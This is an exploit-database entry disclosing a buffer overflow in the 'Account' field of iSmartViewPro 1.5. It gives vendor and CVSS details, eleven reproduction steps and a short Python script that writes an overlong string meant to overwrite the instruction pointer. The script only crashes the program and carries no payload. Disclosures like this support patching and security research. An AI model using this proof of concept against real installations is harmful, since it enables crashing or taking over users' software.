iSmartViewPro 1.5 - 'Account' Buffer Overflow

vendor:

iSmartViewPro

by:

Alan Joaquín Baeza Meza

7.8

CVSS

HIGH

Buffer Overflow

120

CWE

Product Name: iSmartViewPro

Affected Version From: 1.5

Affected Version To: 1.5

Patch Exists: YES

Related CWE: N/A

CPE: a:securimport:ismartviewpro:1.5

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 10 Pro x64 es

2018

iSmartViewPro 1.5 – ‘Account’ Buffer Overflow

iSmartViewPro 1.5 is vulnerable to a buffer overflow in the 'Account' field. An attacker can exploit this vulnerability by running a python code to generate a malicious file, copying the content of the file to the clipboard, and then pasting it into the 'Account' field. This will cause a buffer overflow and allow the attacker to execute arbitrary code.

Mitigation:

Upgrade to the latest version of iSmartViewPro 1.5, or apply the appropriate patch.

Source

Exploit-DB raw data:

# Exploit Title: iSmartViewPro 1.5 - 'Account' Buffer Overflow
# Discovery by: Alan Joaquín Baeza Meza
# Discovery Date: 2018-08-07
# Vendor Homepage: http://www.securimport.com/n/en/
# Software Link: https://securimport.com/university/index.php/videovigilancia-ip/software/493-software-ismartviewpro-v1-5
# Tested Version: 1.5
# Tested on OS  : Windows 10 Pro x64 es

# Steps to Produce the BoF: 
# 1.- Run python code : python generatepaste.py
# 2.- Open generate.txt and copy content to clipboard
# 3.- Open iSmartViewPro
# 4.- Add device manually
# 5.- Device alias -> A
# 6.- Device Type-> SmartP2P
# 7.- DDNS/IP/DID-> 0.0.0.0
# 8.- Paste ClipBoard on "Account"
# 9.- Password -> A
#10.- Aceptar
#11.- BoF

#!/usr/bin/env python
# -*- coding: utf-8 -*-
buffer = "\x41" * 479
eip= "\x42" * 4
f = open ("generate.txt", "w")
f.write(buffer+eip)
f.close()